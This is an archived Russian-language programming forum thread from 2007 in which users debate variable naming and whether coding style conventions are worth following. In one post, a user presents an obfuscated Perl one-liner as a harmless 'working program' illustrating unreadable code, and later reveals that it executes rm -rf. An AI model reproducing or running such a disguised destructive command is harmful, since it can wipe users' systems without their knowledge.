forum.boolean.name

forum.boolean.name (http://forum.boolean.name/index.php)
-   Blitz3D (http://forum.boolean.name/forumdisplay.php?f=45)
-   -   Вопросы о архитектуре языка (http://forum.boolean.name/showthread.php?t=3786)

Raiter 08.07.2007 17:18

Re: Вопросы о архитектуре языка
 
Ну хз... Я больше согласен с JohnK... Вот мне например нравится писать не Eto_peremennaya_s_dlinnim_nazvaniem, а EtoPeremennayaSDlinnimNazvaniem... может кому-то так и труднее читать, но лично меня подчеркивания напрягают... А если мне мой же код не приятен и мне не приятно и не удобно его читать, то программирование уже не есть удовольствием, а наоборот :)

johnk 08.07.2007 17:54

Кстати, Raiter, очень верно заметил:
Цитата:

если мне мой же код не приятен и мне не приятно и не удобно его читать, то программирование уже не есть удовольствием, а наоборот
Я все же настаиваю на том же: Программировать надо так, как тебе удобно, а забота об остальных не должна волновать, ибо кому надо, сможет прочесть любой код, как бы он не был написан.

И еще: Я считаю, что следование определенным правилам, тем что описывал Дипломат, есть не что иное, как лишняя показуха. А насчет работы, я скажу следующее: думаю, работодателю не важно, как ты пишешь, я считаю, ему важен результат. Так что следование правилам - что-то наподобие пустой траты времени, в ущерб себе.

Raiter 08.07.2007 19:28

Re: Вопросы о архитектуре языка
 
Ну тут есть и 1 маленькое НО... Работодателю не важно как ты пишешь, если в команде программист - ты один... А вот если программистов несколько, то разбор твоего кода будет тормозить весь процес + будет злить других кодеров = не слаженность команды :)

Потому лучьше работать одному :-)

Diplomat 08.07.2007 19:58

Re: Вопросы о архитектуре языка
 
Цитата:

Вот мне например нравится писать не Eto_peremennaya_s_dlinnim_nazvaniem, а EtoPeremennayaSDlinnimNazvaniem... может кому-то так и труднее читать, но лично меня подчеркивания напрягают...
Гкхм, Райтер, это просто два правильных общепринятых способа именования переменных. ))
Неправильными именами этой переменной были бы следующие: EPSDN, PeDliNa, j234, z - и пр., не дающие представления о назначении переменной или искажающие это представление*1.
Похоже, тебе просто пока не попался в руки хороший учебник,.. или наоборот- попался слишком схоластичный учитель.

Цитата:

Я считаю, что следование определенным правилам... ...лишняя показуха.
В таком случае ты считаешь неверно. Почему- тебе уже обьяснили: не раз, и не я.
Впрочем: "У кожного своя доля, i свiй шлях широкий..."(с) Т.Шевченко, потому, "Если взрослый и психически нормальный человек осмысленно и целеустремленно бьётся головой о бетонну стену- это его неотьемлемое право..." (с)
Ваш покорный же больше не намерен возвращаться к этой теме, у него есть более важные и социально полезные дела.

P.S. RTFM! ;)

___________________________
*1. В некоторых средах разработки длинна имен переменных ограничена, и даже приблизительно описать назначение переменной невозможно. В таком случае, в видном месте программы следует написать таблицу, указав в ней имена и назначение всех переменных, а в коде- более подробно описывать комментариями каждую более-менее сложную операцию с переменными.

jimon 08.07.2007 20:45

Re: Вопросы о архитектуре языка
 
Raiter,JohnK
ну вот вам волне рабочая прога на perl :
Код:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
и скажите что вам все ясно :)
ps. прога боянная ... но все же хороший пример

на блице не надо задумыватся о архитектуре кода
да и стилистика более мение все равно блицом ограничивается

а вот на других языках полет фантазии может доходит до чего угодно
(сам писал php прогу в html кодах ... )

так что правильный стиль программирования ето тоже самое что и
художественная стилистика ... книгу и вообще произведение
можно написать как угодно, но тогда не все ее поймут :)
"а себе понятно" тут не катит ... даже если ето читать будеш только ты

архитектура к стилистике имеет практически нулевое отношение
так что кончаем оффтопить

HolyDel 09.07.2007 02:48

Re: Вопросы о архитектуре языка
 
[IMVHO]
ето:
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
текстовая строка полюбэ.
-e наверно какое нить echo
cat "test... test... test..." - хз конечно, но мну кажется что ето просто выводит етот текст (' cat "test... test... test..." ')
вывод програма выводит строку.
[/IMVHO]

jimon 09.07.2007 12:26

Re: Вопросы о архитектуре языка
 
HolyDel
прога банально выполняет rm -rf
что приводит к смерти *nix системы если юзер сидел по rootом


Часовой пояс GMT +4, время: 17:50.

vBulletin® Version 3.6.5.
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Перевод: zCarot